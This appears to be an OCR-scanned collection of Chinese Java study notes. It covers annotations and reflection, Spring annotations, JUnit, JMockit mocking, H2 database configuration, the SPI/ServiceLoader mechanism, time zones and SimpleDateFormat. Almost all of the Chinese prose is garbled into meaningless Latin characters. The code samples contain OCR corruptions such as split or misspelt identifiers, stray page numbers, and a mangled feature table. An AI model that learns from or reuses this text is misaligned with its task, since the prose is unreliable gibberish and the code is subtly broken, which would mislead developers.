BRTYITiERE, BMREEN TR, BYTIEBREN ERAERE., WHRINER
Override . Autowire &, HEFATHBIUBEN —NTE, XLEEREENXTHE.

@Override FRIABIFEES L KENGE.
@Deprecation FRAEEEIN, HiE FBE#EL, FRANSBEZLS.

@SuppressWarnings FxrxH—

o

LEEEE(BA java fmiFes BT ERmIEE

SafeVarargs (jdk1.7 &) Fx: 110106 “H5HR” EE5RMHO.

@Functionalinterface (jdk1.8 &) Fx~: AFREEENMEOVNERHEO,
BN HSmELE .


http://hollischuang.gitee.io/tobetopjavaer/
http://hollischuang.gitee.io/tobetopjavaer/
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IS RENES

TR FERESERER, ERSERNAEHEEEIMIESEREF

Al

LB RGRFIZE, BiE, FRERR

SERENERIASIREVERRTRYE, SREED
Eh 5 E RS ERAE RO T :

Class<?> clz = bean.getClass();
Method[] methods = clz.getMethods () ;
for (Method method : methods) {

if (method.isAnnotationPresent (EnableAuth.class))

{

String name = method.getAnnotation (EnableAuth.class) .name () ;

BT isAnnotationPresent ¥l 2 & FEENTEE, i8]

1T getAnnotation SKEGEAERT
xR, AEIREUE.

ANl

TB&%E: https://blog.csdn.net/KKALL1314/article/details/96481557

BEE5T7T—10F, LI T:

PERMFELEFR EREBRTR, EZEZEMRR, FEEFRIBAERE X LR,
IRBRCHEIERIE:

@Retention (RetentionPolicy.RUNTIME)
@Target (ElementType.FIELD)
@Documented

@Inherited

public @interface MyAnno {

String value () default "HiEfE";
}


https://blog.csdn.net/KKALL1314/article/details/96481557
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EN—EE:
@Data
@ToString

public class Person {
@MyAnno
private String stra;
private String strb;
private String strc;

public Person (String strl,String str2,String str3) {
super () ;
this.stra = strl;
this.strb = str2;
this.strc = str3;

X5 strl JITERR, FHRRREIETHIR(E:

public class MyTest
public static void main (String[] args) {
// WIIA A AR A oV
Person person = new Person ("JoyEME", "TorEM", "TCIEM") ;
/ /SRR A
doAnnoTest (person) ;

System.out.println (person.toString()) ;

private static void doAnnoTest (Object obj) {
Class clazz = obj.getClass();
Field[] declareFields = clazz.getDeclaredFields () ;
for (Field field:declareFields) {
/ /RS T AR
if (clazz.isAnnotationPresent (MyAnno.class)) {
MyAnno anno = field.getAnnotation (MyAnno.class);
if (anno!=null) {
String fieldName = field.getName () ;
try {
Method setMethod = clazz.getDeclaredMethod ("set" + fieldN
ame.substring (0, 1).toUpperCase() + fieldName.substring(l),String.class);
/1 3RELEA J k
String annoValue = anno.value();
/ /PR AR ) B AR 5 et S 1) Jeg 1
setMethod.invoke (obj,annoValue) ;
}catch (NoSuchMethodException e) {
e.printStackTrace () ;

} catch (IllegalAccessException e) {
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e.printStackTrace () ;
} catch (InvocationTargetException e) {
e.printStackTrace () ;

}

IEITER:
Person(stra=58i%f#, stro=T*f&, strc=T+fR)

HHEEFERT Annotation &I T2, Bk, Field FkRZfE, X Annotation
AEECEY, YWARBRFASRMEMNAICIDRIZEFFAIE Annotation 8 . IXLELME
IREVFILLEE Annotation HILEBSEFRA APT ( Annotation Processing Tool),

TRERVIRENEZMERT Java BIREHRAR, RESLLRE, FRLUERERITtEEEZE
THRRSERLAS o

£ Java #1, ZE(FHH class BX, EOFEHA interface X, FEMEONENEFRZ,
EINT—1@FS, Bl@interface, CA3a0T:

public @interface EnableAuth {
t

TRPRLIENRREE, BTEERHEA, IREOFZERNENEM, AB0T:

public @interface EnableAuth {
String name () ;

}

ERT LU INEGAE :
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public @interface EnableAuth {
String name () default "JERh";
}

FERINMERZESN T BEXTRNE—F, FATHBERTEASoZREEL,
Likk, FRE, RIUCBAT:

@Target (ElementType.METHOD)
@Retention (RetentionPolicy.RUNTIME)
@Documented

public @interface EnableAuth ({

}

Target

BT EERIEIMRERERBLIEF ST, EMELERAIE, TiE, FK.

Retention

FFEEREmRTHREREB S <ANE, 55 SOURCE (GFBNEETRIEH, &
class FHREHFABE ) ,CLASS ( BUARIMREBZREE, (FMSTE class FHE3NHHE
£, BETRIEAIREY ) ,RUNTIME (GF#E&TE class FHIEXEFEFE, EiafTAiaIlL
B RSIRENE ) =B, (R BETREFETIETEI RESREUTBRINEERTES
Retention &9 RUNTIME,

Documented

BT EERIEITRY LR javadoc TEIZENINAS

Inherited

AT EERIEITR A ER R .
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@Configuration I8—1EER— loC BEE, ENENAEL FNREMT
@Bean, FSIERIXA Spring 24 Bean.

@Scope iF#E {ERE .

@Lazy(true) T RILRHIAM

@Service FAFtREW S EHA

@Controller BFtriEEHIEAHE@Repository BFirEaiEihiaEE, Bl DAO A
5,

@Component iZfgB#, SEHAFASRAHE, FMTLAERRXNERHITIRE.

@Scope FITFIEE scope ERIERY (BEZEL)

@PostConstruct BFEEMAI AL (BEREL) -

@PreDestory BFEEHELE (BERZEL) .

@DependsOn: EX Bean #1845 SHERBTRIIAF o

@Primary: BzhEEiT S EME Bean Ri%&ERS, #EEA@Primary B9 Bean
BIErEERE, SUERESE.

@Autowired BRIAIRSEEVAEED, MR VEFERIZEBRER, TULES@Qualifier
FE—eEA, T @Autowired @Quallifier("personDaoBean") FES M LAIED
BiFR.

@Resource BOANZEZIRERD, XA SZIRILEN bean A S1ZEBIEHC
@PostConstruct #aEE
@PreDestroy #2E#E 0N B4 FohEiing.
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Spring FRIXJINEREBHARKE: @Component . @Repository. @Service.
@Controller

1. @Component {gR9Z2B1H:

@Controller, @Repository ¥l@Service ;FE##E@Component 1&ifi, BT
BEXOEXENE, SAEMUSEMNEAHE, RBPEAGEFRGFHEIN AT LUEH
@Component k#riE .

2. BEIRARBXSRMEA, FKRMRATTRESRINEFEZAIINEE.
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JUnit 82— Java IEERVSETTIIHAESR . EHEHE - W=f&E%E - M3 (Erich
Gamma ) #37, FifpIETF Kent Beck AY sUnit B9 xUnit REHFAERMLIDI—1 .
JUnit BEECHI JUnit I BESE .

JUnit (27 “SElKEmE" NES, sFEIHEIEN—RAE, LT,
REBMNA. XPEEMFLL “WiE—=, HE—=, Wik—=, wE—=-" , 87
EFRATFEMEFRREDE, JLURDIER RBYEDMEEERRE_ ERIRTE .

=+ .
SIS

« JUnit 2—MHRIIRIFEESR, BFREFIEIT .

< REFRRRBIMIS S A

o IRARTS SRMK TSR

. RESE T RETE .

 JUnit MK IFRBSHRIEER, HatEake.

« JUnit RIS, RIBAEZ:, HHEINERD,

< JUnit XA BshaTHERERSERRMAINRIE. AUAEEELEATHR
BN SRR

o JUnit AT LAMRABLR AR ES, B2 NKEE, EZEMAIINEH.

o JUnit T—NEFRETHE . MRSITRIFVUIREE,; MRSTEM, UEMLE.
JUnit FIREE FANLIREIFF AT ieEE—E. AILAS%E Kent Beck BY { Test
-Driven Development: By Example ) —5 ( B XhRFISEDAR )

HEE— JUnit (%G, AILUISERIRENZIERE:

iiEN R E A ENPHNERERED . IEREELHZEEELTRIENL,
FAHURER SNt BB TFEEh R s R AZ 2 X ES AT
ERT P RE R B RERIRIFEE N AR B R R EE N T S FERERIRHE T
FERNBERME. MERARREINNR. PaFHIRHEER.


https://wiki.jikexueyuan.com/project/junit/
https://wiki.jikexueyuan.com/project/junit/
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EBATIRERIRENILRY , BAFRELEARHI TN, —RRBERAKNL . BEH
THRIEUKAESLEN ATSEE, (RARED N FERENIZFAAF—F— AN B ARS8
KNIRE, URKTHRIESS, REXHEREIIREIS BEFIIMSEABINES . 7T RIE
BEINEREEE, —RESERSIHRRRIBRA , FRBRA RIS EeE L IERIBE,
LIRAR B SHIERIIAE .

BB, HSLASERIHENTRIZEEARAZ . — M ISR L& iEfEEd
i, FeHililRs, BN —mNEFRIERUBSEEARRTENME.. FSER
B, BMERELHEsRRIRZ “BA7 . AXE “BA° NERBERN TR
BN B R0 T
why

FNERERBFATEREBERE AT IREFERK:

1. MBA—ERME— IRE, HEZEEENEFEO . ARRFEHEA, FA=<E
CRIREEE, (RN MMRIIIRSS SLMZIE R S IEH . (BRI RZERED, BIERY

RSEBEF AR
2. RRM EEXRUAmR, REERBIIIRSEEIE RPC UG IUEARY, MINRIRSS
AOTRE MEARYERILE -

3. WF—1MEOHEL X, FHEEVLESIHAEER, ERKMAIIRSHIHRITRE
RIREHEIRIRIINERTE -

4. (RERIIRSE T RRMECIZ | (ELANEIRRT web &&8).

5. REAINRIELITAREME ! (LLINMERE) .

6. LULEBREIRE, ERMREBIIB T IRSHAIEERELERKIET .

FEXLEREREREFAMNLITZF A0SR LR ARAYER o X LR ER = A A
AR SINKALA . FILAR, REFRARFEEERTTURRAEE LI EXRREX
g o

Fizl2, Mock XIZgaLARRLL EaIRR, A mock IIFETHINEHEE mock il
it
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What

mock WA EEMRIES, MTFTRELEABSWERE RS ZRBATIR, A—1NE
RIS SR R EURLAMENIK AT TS E .

mock R, FEBIFELMR, SEMUERIN—IIR AILURBSERMENAYAR
MRA . mock MRHMEELNREFILEER.

ROV IF— “BRA7 BIBALLRAR, XD “BRA7 AJLURBRIRKRER ‘BRI kiz

1To

£ Java B9 i A, B2 Mock {EZRaJLAER, FBAILLERZHIE easymock.

mockito. powermock. jmockit &,

BERNSRFAT, BIIBEEX—1EO, ER— M EROFMRX MR EENIEIT
R RRETEORS I AYR, FAUEAHEX TS IBIINREESESR, &2 mock XI
%O

T, XRNENABTEARSHXLTY, FEBER2IUEAFKMNE, £ Java FeJLUFER
mock SR KEINELTIRFHTETIIK, FURZ., T—BSIFEMANBUaERA
mockito EZSHITEITIL

JMockit 2E5F JavaSE5 #f§ java.lang.instrument @ %, RERERE ASM Ek
EY java WFT5HG, (E5 java XMEESES I LUEHMSHAES — SR ER
Mock SIFAB B, EIlERS. IABREITAESE, WTFFNFLR, RARFREERK
BREFHENBERT, HEXNFEUSBAEMITAIEXRIRIHET, (R JMockit AT
BimERZENInS.
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Powerlock: = Powerlock:

Feallre Easviock  Mock | Mockito | Unitls Mock | oy | Wackito aPi | <L426E
Invocation count constraints N U el 8 £ &
Recarding strict expectations g 4 A 4
Explicit verification o A ~ A
Partial mocking “ L b B A k|
Mo method call to switch from record to replay A \ ~ “
Mo extra code for implicit verification A NAA Ti/A 3
Mo extra "prepare for test” code o A < < A
Mo need to use @Runwith annotation or base test class y R y 3
Consistent syntax between void and non-void methods + k| &
Argument matchers for some parameters only, not all i 4
Easier argument matching based on properties of value objects | + el W B N 4
Cascading macks R y e £
Support for mocking multiple interfaces A N A
Support for mocking annotation types 4 4 A W 4
Partially ordered expactations A o
Mocking of constructors and final/static/native/private methods k| k| k|
Declarative application of mocks/stubs to whole test classes i 2! N &
Auto-injection of mocks 3 K N £
Mocking of "new-ed” objects B N 8|
Support for mocking enum types 3 &) 3y
Declarative mocks for the test class (mock fields) < k| v N &
Declarative mocks for test methods {parameters. local fields) 3
Special fields for "any” argument matching 4
Use of an special field to specify invocation results 4
Use of special fields to specify invocation count constraints R
Expectations with custom error messages k|
On-demand mocking of unspecified implementation classes o
Capture of instances created by code under test 3
Recording & verification of expectations in loops &
Support for covariant return types £
"Duck typing” mocks for state-based tests +
Single jar file in the classpath is sufficient to use mocking API 4 A MA 4
Total 6/32 732 133 i 931 14/30 32/32
Total when ignoring JMockit-only features 622 722 131 11721 92 14/20 22022

BIF AT UE maven #5570 JMockit BIFE 4K :

<dependency>

<groupId>com.googlecode. jmockit</groupId>
<artifactId>jmockit</artifactId>
<version>1.5</version>
<scope>test</scope>

</dependency>

<dependency>
<groupId>com.googlecode.jmockit</groupId>
<artifactId>jmockit-coverage</artifactId>
<version>0.999.24</version>
<scope>test</scope>

</dependency>
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JMockit BFF Mock BI: EF78089 Mock ALFIETIREAY Mock B=:

5| FE Tl A mock BY(#FE R mock #8§ jmockit SCEeH JMockit APIFI T BT :

Behavior-based testing

@® Invocations (1) Delegate

| (@ Invocation

) Expectations

) Verifications

5 aE

|

) NonStrictExpectations | & verificationsInOrder | & FullVerifications | & FullverificationsInOrder |
@ Tested ‘ @ Injectable ‘ @ Mocked ‘ 1@ Nonstrict ‘ (@ Tnput | @ Ccascading ‘ (@ Capturing ‘
wd
2 k-
State-based testing Test class-level mocks & stubs
) Mockit | ) MockUp<T> | @ Mock | @ MockClass | (£) Instantiation | (@ UsingMocksAndStubs ‘
o i
Reflection utilities Other tools

i) peencapsulation | [E mockit.coverage
=

1 mockit.incremental | [E1 mockit.emulation |

Figure 1. Overview of JMockit 4P1s and tools

EF47989 Mock 5=

JEFE 25 EasyMock #1 PowerMock B T{ERIE, EALEN:

1. RETTETRERIT A
2. HXZEA.
3. WIERFIRITARIER .

B —MERRIPFENE IMockit RIEZARRIE

2 Mock MitAY5EN T

public class MyObject ({
public String hello (String name) {
return "Hello " + name;

§F9 JMockit RSB TTILIN T
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@Mocked //Hl@Mocked FriERIN %, AFHEMMME, jmockit HZEh mock
MyObject obj;
@Test
public void testHello () {
new NonStrictExpectations () {/ /=l THIEIITHN
{
obj.hello ("Zhangsan") ;
returns ("Hello Zhangsan") ;
/ /WA PR : result = "Hello Zhangsan";
}
i
assertEquals ("Hello Zhangsan", obj.hello ("Zhangsan")) ;// WM
new Verifications () {//3UETHA Mock 17 %1/ H
{
obj.hello("Hello Zhangsan") ;
times = 1;

JMockit B LA ENEBERINS BEMEIL, X5 #ET Expectations REHHZ
#H, BHNREE, RZEIFBEBEM .

il Expectations $R—A&H Expectations 251 NonStrictExpectations 2£EX, 2
{LlF EasyMock #1 PowerMock #R9 Strict Mock F1—#gt% Mock.

F3 Expectations £ENXHY, U mock WREIEITATREEIZER Expectations IRFE
XWIRFORBARE X, AaeZABtAse/ AR, A TLAEREE Verifications R,

A NonStrictExpectations ZEENXM, NIRBEXLRS, PFLAAIRFEIOUE, NE
#h0 Verifications R,

ERBIGIFER T IFEEMRIL, TEIH(ERSEMEIRNS EEATK, (Ta8anT:

@Test
public void testHello () {
final MyObject obj = new MyObject () ;
new NonStrictExpectations (obdj) {//ZlFEHEIIAIT N
{
obj.hello ("Zhangsan") ;
returns ("Hello Zhangsan") ;

//WA PR : result = "Hello Zhangsan";



BTl < 320

}i
assertEquals ("Hello Zhangsan", obj.hello ("Zhangsan")) ;// AR
new Verifications () {//3UETIHA Mock 17 %1/
{
obj.hello("Hello Zhangsan");
times = 1;

RIS T

@Test
public void testMockStaticMethod () {
new NonStrictExpectations (ClassMocked.class)

{

ClassMocked.getDouble (1) ; / /WA LMEHSHILAL: ClassMocked.getDouble (a
nyDouble) ;

result = 3;
b
assertEquals (3, ClassMocked.getDouble (1)) ;

new Verifications () {

{
ClassMocked.getDouble (1) ;
times = 1;

RIFABTTIE:

AR ClassMocked &g getTripleString(int) FixiEEER—1MFAB M
multiply3(int)B9753%, FAITLAERII T Ak Mock:

@Test
public void testMockPrivateMethod () throws Exception ({
final ClassMocked obj = new ClassMocked() ;
new NonStrictExpectations (obj) {
{
this.invoke (obj, "multiply3", 1);//WRFAEHEEFHRSH, WTLMEH: this.
invoke (null, "multiply3")
result = 4;
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String actual = obj.getTripleString (1) ;
assertEquals ("4", actual);

new Verifications () {

{
this.invoke (obj, "multiply3", 1);

times = 1;

1RE Mock WERIABBMEANE: FHi%0E EasyMock #1 PowerMock A9 Mock %35
28T JDK/CGLIB shARIERSSIAY, AR ER2EMNMFASEZOLH, B2 java |
AXREEFR, BERNRPNFAERBERTER FEMERT, FTLANRE Mock IR
ERFERETHESIABREN, FEXEIERESERESRIBESEE, NERESRN
Mock iz EH TR, JMockit f2ft 718 & Mocked WRIABRBEERNTG X, €
EanTr: BT

public class ClassMocked {

private String name = "name init";

public String getName () {

return name;

private static String className="Class3Mocked init";

public static String getClassName () {

return className;

A JMockit iIREFAE B :

@Test
public void testMockPrivateProperty () throws IOException {
final ClassMocked obj = new ClassMocked() ;
new NonStrictExpectations (obj) {
{

this.setField(obj, "name", "name has bean change!");

i

assertEquals ("name has bean change!", obj.getName())

}
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£/ JMockit IREFFSIAEEML:

@Test
public void testMockPrivateStaticProperty () throws IOException ({
new NonStrictExpectations (Class3Mocked.class) {

{

this.setField(ClassMocked.class, "className", "className has bean c

hange!") ;
t
}i
assertEquals ("className has bean change!", ClassMocked.getClassName ()) ;
}
HFIRESHI Mock B

JMockit FEIRIETF1T Mock BRFNESRBY EasyMock #1 PowerMock iRfgE AR
L, EITFEFEIRIEEIERSRKEE, M JMockit IETIRZERY Mock AILAER:
NEWELEZNREEZE, ERREERX FNEENK, THEEHRHFNE
JMockit EFIRESEI Mock.  #MtAICABLNT:
public class StateMocked {

public static int getDouble (int i) {
return i*2;

public int getTriple (int 1) {
return i*3;

—

HEEELEAE:

@Test
public void testMockNormalMethodContent () throws IOException {

StateMocked obj = new StateMocked() ;
new MockUp<StateMocked> () {//f§f MockUp 1& il i 75 i P 2 45
@Mock
public int getTriple(int i) {
return i * 30;

i

assertEquals (30, obj.getTriple(l));

assertEquals (60, obj.getTriple(2));

Mockit.tearDownMocks () ; / /¥R : fE IMockitl.5 ZJG B&EA Mockit XN, {#ifH Moc
kUp 1%, mockUp #l tearDown J7¥E7E MockUp K

}
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BERSHENANS: ETFIRERY IMockit 58S /final BiERNBTINL EB G
B AKS, FRESRIZAE MockUp FIRIER T AE A static Xig=LAgh, EithER
FM#% Mock RI73:2E218E, FEER@Mock txE, Wit T:

@Test
public void testGetTriple () {
new MockUp<StateMocked> () {
@Mock
public int getDouble (int i) {
return i*20;
}
bi
assertEquals (20, StateMocked.getDouble (1)) ;
assertEquals (40, StateMocked.getDouble(2));

JRIHE =

H2 2— M FHRIOBA (FFRATIRE ) BURES 1%, ©R— 1 Java FREHIEE,
AEERNSGRS, SHAEF—RTaH, TETAR.

H2 5 Derby. HSQLDB. MySQL. PostgreSQL SHREIEZERL, H2 HIfEEE
A

«Java ik, AZFERE;
H2 RE—jar 8, SATEN, EETRALEIEE;
. Bweb EFE, BFESEHUEE.

B kM8 Spring+Mybatis+H2 FIEUEELBISLE, &%

N0 H2 HE R :

<dependency>
<groupId>com.h2database</groupIld>
<artifactId>h2</artifactId>
<version>1.4.190</version>

</dependency>


http://blog.csdn.net/chjttony/article/details/17838693
https://blog.csdn.net/xktxoo/article/details/78014739
https://blog.csdn.net/xktxoo/article/details/78014739
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H2 HiRFERIESHEEINT, AIERAAFRINLE H2 #ERE:

driver=org.h2.Driver

# AR

url=jdbc:h2:mem:teStdb;MODE=MYSQL;DB_CLOSE_DELAY=—1

# R AR

#url= jdbc:h2:tcp://localhost/~/testl;MODE=MYSQL; DB CLOSE DELAY=-1

H2 #EZEIRIERY Spring BC& 49

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns="http://www.springframework.org/schema/beans"
xmlns:tx="http://www.springframework.org/schema/tx"
xmlns:jdbc="http://www.springframework.org/schema/jdbc"
xsi:schemalLocation="
http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans-4.0.x

sd
http://www.springframework.org/schema/tx
http://www.springframework.org/schema/tx/spring-tx-4.0.xsd
http://www.springframework.org/schema/jdbc
http://www.springframework.org/schema/jdbc/spring-jdbc-3.0.xsd
M3

<U-— GINBHXH -->
<bean id="propertyConfigurer" class="org.springframework.beans.factory.co
nfig.PropertyPlaceholderConfigurer">
<property name="locations">
<list>
<value>classpath:config.properties</value>
</list>
</property>
</bean>

<!-- HZEIHAH pro -->
<bean class="org.mybatis.spring.mapper.MapperScannerConfigurer">
<property name="basePackage" value="com.xiaofan.test" />

</bean>
<!-- BLHE Mybatis sqglSessionFactory -->
<bean id="sqglSessionFactory" class="org.mybatis.spring.SglSessionFactoryB
ean'">
<property name="dataSource" ref="dataSource"/>
<property name="configLocation" value="classpath:mybatis config.xml"
/>

<property name="mapperLocations" value="classpath:user mapper.xml"/>
</bean>
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<!-- MEHHEEFE -->
<bean id="dataSource"

class="org.springframework.jdbc.datasource.DriverManagerDataSource

WS>
<property name="driverClassName" value="${driver}" />
<property name="url" value="S${url}" />
<!--<property name="username" value="sa" />-->
<!--<property name="password" value="123" />-->
</bean>
<l-— VR EIRE -—>
<jdbc:initialize-database data-source="dataSource" ignore-failures="DROPS
WS>

<jdbc:script location="classpath:sql/ddl.sqgl" />
<jdbc:script location="classpath:sgl/dml.sqgl" />
</jdbc:initialize-database>

<!-- MEESEH -

<tx:annotation-driven transaction-manager="transactionManager" proxy-targ
et-class="true"/>

<bean id="transactionManager"

class="org.springframework.jdbc.datasource.DataSourceTransactionMan
ager">
<property name="dataSource" ref="dataSource"/>
</bean>

</beans>

VA EHERER DDL IB8 34 9:

CREATE TABLE “user  (
"id® int (11) unsigned NOT NULL AUTO_INCREMENT,
‘name” varchar (100) NOT NULL,
‘age” int(11) NOT NULL,
PRIMARY KEY (' id")
)i

VIR EIERER DML 1B 349

insert into ‘user’ (°id’, ‘name’, "age’) values (1, 'Jerry', 27);
insert into ‘user’ (°id’, ‘'name’, "age’) values (2, 'Angel',6 25);
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WEMAE, T

Jxx
* Created by Jerry on 17/7/30.
*/
@ContextConfiguration (locations = {"classpath:config.xml"})
@QRunWith (SpringJUnit4ClassRunner.class)
public class Test extends AbstractJUnit4SpringContextTests{

@Resource
UserDAO userDAO;

@org.junit.Test
public void testInsert ()

int result = userDAO.insert (new User (null, "LiLei"™, 27));
Assert.assertTrue (result > 0);

@org.junit.Test

public void testUpdate () {
int result = userDAO.update (new User (2L, "Jerry update", 28));
Assert.assertTrue (result > 0);

@org.junit.Test

public void testSelect () {
User result = userDAO.findByName (new User (null, "Jerry", null));
Assert.assertTrue (result.getBAge() !'= null);

@org.junit.Test

public void testDelete () {

int result = userDAO.delete ("Jerry");

Assert.assertTrue (result > 0);

326
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Java HX%> API #1 SPI, BEa9i#: APl 1 SPI #2BXHIEEE, Ia0ZERIR

1o /N

FEEM E, APl BEEH®NAFAARER, SPI #IERT BARER.

API Application Programming Interface.

RSBHBERT, #RTU S KFEZEOAF AT EONAR B, BRBNUKHEIT
IR EIEW .

SPI Service Provider Interface.,

TANRRIBRS IR, SR A9 RS RIOSEIL . BRI R E D
BEMITIS .

£ 1. EX—EEO (Bi&2 org.foo.demo.IShout), FEHEON—1aZN5L

M, (B2 org.foo.demo.animal.Dog. org.foo.demo.animal.Cat).

public interface IShout ({
void shout () ;

}

public class Cat implements IShout {
@Override

public void shout () {

System.out.println ("miao miao") ;
t
t

public class Dog implements IShout {
@Override

public void shout () {
System.out.println("wang wang") ;

}
}

I8 2. £ src/main/resources/ NiExZ /IMETA-INF/services B%, #Hig—"
LIEOSEHE (org.foo.demo.IShout X4), IEESEMNAISLIE (XBERE

org.foo.demo.animal.Dog #1 org.foo.demo.animal.Cat, &/7—1%) .
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org.foo.demo.animal.Dog
org.foo.demo.animal.Cat

$18 3. A ServicelLoader FHNEEE N (EFFIEERISLI

public class SPIMain {
public static void main(String[] args) {
ServiceLoader<IShout> shouts = ServiceLoader.load(IShout.class);
for (IShout s : shouts) {

s.shout () ;

(¥

wang wang

miao miao

SPI BYsCHIRIE
& ServicelLoader XIS E XM RTS:

public final class Serviceloader<S> implements Iterable<S>({
private static final String PREFIX = "META-INF/services/";

// ARERHOINB S % 0

private final Class<S> service;

// FHF @A, ALtk providers HIZEIN#2s

private final ClassLoader loader;

// Bl ServiceLoader IR AV M) £ 3¢

private final AccessControlContext acc;

// ZBAF providers, #&SEHIALHINGFHES)

private LinkedHashMap<String, S> providers = new LinkedHashMap<> () ;

// WEHIENS

private LazylIterator lookupIlterator;

SERKRE, RIET—T, AT :
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[ FERAA Serviceloader.load /5%

Servicel.oader.load FiEREIE— A9 ServicelLoader, FELAIEIZSEFAIAL
, BiE:

iy
>Z

palll
il

loader(ClassLoader 28!, ZhN#;s8)
acc(AccessControlContext 28, ifjajizHI2g)
providers(LinkedHashMap 2£8!, FTF&EFINEMKINAIE)
lookuplterator(SCEUE(28T08E)

I FRRE B i 2R 1R SR

Serviceloader SRR E providers 39 H(LinkedHashMap KB EEE
FLAINER, MREERF, BERE., NRSEERF, WITE0EE:

1ZHY META-INF/services/ FRECEH, RISFTERARSEAILAIZERIETR;
B & 7% Class.forName()INEzExdsR, HH instance()5iREELAIL,;
IESCAILERIEETEE) providers 335 H(LinkedHashMap 28 ) ;
RIEIREISEAIIIR
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B XM ERIKISERE—MIEEN . LT, AMIBIRRARIME (A ) R
EE, XeEEARZENMISAIIIEBERAR (758 ) . 1863 F, ENRERIIXAY
o B KB IRT — M XKIAITRERT BB MR R T XN ERR

HAFPERUTHEARMVE L, RtAEER, FlRFAEEANEZRAL. B
EEVEBRE. XERENEMBAINE.

AT BRMEIF M XAERTSE, MEEMIN SR A BTSRRI ERE E 50t 5 BT
B % . BXRERSNREFHIREREZRELMNFRIR, K— 1 XE, FEREREMBEX
ERIRSERZE 1 /N . FER—XERAYFRRFIIRRI A B ZI KRR E&RSEERT 1
N o BANBEE— XK, BEESAIRTRRIE 1 /N (PR 1 /N, AR 1/ ) ,
B LA KIS iNEim) LN o XAF(ERERARGE. WS2EIED T 24 MIX. BT
TAHALEER11MER, 1 1ME0ENEE 2 1M HESHEK, A 7TRMITE ERNGE,
BRATERN A PEOITE—R . FRUARKAART SRR tESR D, MEREARME
kXl Blgn, FERREE, EAZE LMK, EBATERSEDSR, LirbER
R/ \BS X AR RS BRI ERBT (B 0 o

JERESEELEAZHES AR 15 5E 16 NMINET . BRI EX . JtRETELLALZIRSE
B12 5EF 13 VY. BARFII<SAX.

BN 2LMEM, BATRAOFNAERAR, AL EERILIR—T, &
KREERERIE—\IT . EFESIIN 3 BEZNERBFLEE 11 BE—1EH.

ZOHS: JERMBIZABTE: 16 JERFALESE: 13
B JERMBIZAIE: 156 JERFALEE: 12
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AtEE (timestamp ) , — M EERT—HEIREEE MSIENBZREEFAERY. TE
A9, AIRIERYEHE BE R — TS, E—HmRE—ZIR9RTE .

AYEE S ESMERRTE) 1970 £ 01 B 01 H 00 Bt 00 %3 00 #(AL=ASE 1970 £ 0
173 01 H 08 i 00 73 00 M)EZIMERISHEL . BRI, HEHRE—HeesxRr—n
HEE—MFEN B R EEFERN TR TSR

BHEaF (2E: Greenwich Mean Time, GMT ) @B FEECHRBXAY
EFREMEIERNE XA RERY, RAKRYFFELFEN NEITIRENEZ

B1924 £ 2 B 5 BffA, BMEaRXatEmZsk—/\HasttRABIEES
BHRIAFRREF—RIESFAIIESFEHEAF TEAN EMEESMER L=&S
=B ) RORYE) . FRTFHIERERAIBHEEE LMY, MEIEEEERE, FIEHEas

RIETRXMNARSAIERKE, ELFRRFIMRITAOMIELERES (UTC) B,

—MREAR GMT+8 FrhERIATE, RERATEMTHR/NX, [FE_EHASHELQRTE
R 8 VAT,

CET

KR ERAYE) ( ZE:E: Central European Time, CET) EtbttRimERdiE (UTC)
B—NN\HHRXERZ—. BEAZBSNERIISSIFERER . £20FE58 UTC
+1, BERMESHT I UTC+2,
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UTC

AR, NFRERIRER R FiniERE, EFRUTC, MWEIZ “Coordinated
Universal Time” /3i&X “Temps Universel Cordonné” k. &Z%MA CNS 76
48 1Y ( BRITTRAHET - Tiflacie - BEARATEINETRZE ) (51SO 8601 &) Rz
PERE—AIE ., PEAMKE ISO 8601-1988 RIEHR ( HUETIRREREERMRH
HFORdiEIRTE ) (GB/T 7408) iRz AEFRDERTE . HiFtt RS RIUARFIIRHSS
Hit, 12 EREEETHRRN—MIEERE.

GMT

B RRiatrERE (IRIESHEIa TR astsR R aiR AR E); 55 Greenwich
Mean Time, GMT ) 2T RECHRBXIEFREMEIARI SRR EIE, EAR
FFEAE N EBIIIRERIE %

CST

JtmAYE, China Standard Time, X &FEFRERE, 2R EVRERTE. FIFX
ok, BRI\X, teihEtHRE 8 /\6F, 128 UTC+8, S5hREERNERE (1
R “HpEVOERTE)” ) « EERERIRIIEIEE .. ERMEIGRERERE 0:00 K, &
B #ERS R 9T 4 4 8:00.

KR

CET=UTC/GMT + 1/h\it CST=UTC/GMT +8 /Nt CST=CET+9

EHEFLRTD, BIESEBRIRE, FNEREDERE Java (UEBH3RENTE. (B2
ARV ZIRERZIRIRSERIETVER A RAERE], XEHEMFBEE MBI TR, B ESRAL
HAIFERIEC.

ERNEEMZER SimpleDateFormat 28, iIX2—1ME L XINBELLRE BRI,
BE, —BEERAStERRESERAT-.
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£ Java FFAFMF, B TREERE:

5. [5%ii]) SimpleDateFormat ZZEFEAN L LN, —BWAEE XN static Bm, WRELN
static, DZUINEL, BUEfEH] DateUtils T H2%.

BBA, RXFLESE SimpleDateFormat BIFE% . [RIBERKIRA DT FU@LAEHRAYE
BEHAE.

SimpleDateFormat Fgi%

SimpleDateFormat 2 Java 12— MEXANBIT BRI TR . SRiFiiTHg
it (HER —> X&) « @@t (XA —> BER) FI8iE. SimpleDateFormat {F158]
USRI BEPE MR HEA-AY a8 =UAYEC

£ Java &1, AJLAEA SimpleDateFormat B9 format /5%, E— Date 2854k,
B String 2884, FHEAILUISEHEER .

//Date ¥ string
Date data = new Date () ;

SimpleDateFormat sdf = new SimpleDateFormat ("yyyy-MM-dd HH:mm:ss") ;
String dataStr = sdf.format (data);
System.out.println (dataStr) ;

DALERAS, HimpIERE: 2018-11-25 13 00, HHEAFNATEHS=UH" B EAF0AT &)
BV FAFRISE . MRERIERAEMES, REEERRMERIHMTT .

£ Java &, ALUMFER SimpleDateFormat B9 parse 5%, B— String 2£8%4¢,
Bk Date 258,

// String ¥ Data
System.out.println (sdf.parse (dataStr));

AEAFIRGEMRRA TS %

283 SimpleDateFormat BRHE, FE @I FERITARETER, FHAEMEZER
HERFORTIENET . EABRIBTE T EFF BRI BRI T :
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¥ HHAsEET e TR xR il

¢ Era Fnisfd Text AD

Y oE Year 1996; 96

M FRAMGD Month July; Jul; 07
v FREE Number 27

w  BrheyEER Number 2

D FHHRH Number 189

d  BpFRIRE Number 10

F  BfprEHA Number 2

E BRI Text Tuesday; Tue
a  Am/pm #5i2 Text PM

B —XAE/ et (0-23) Number 0

k  —RARNEER (1-24) Number 24

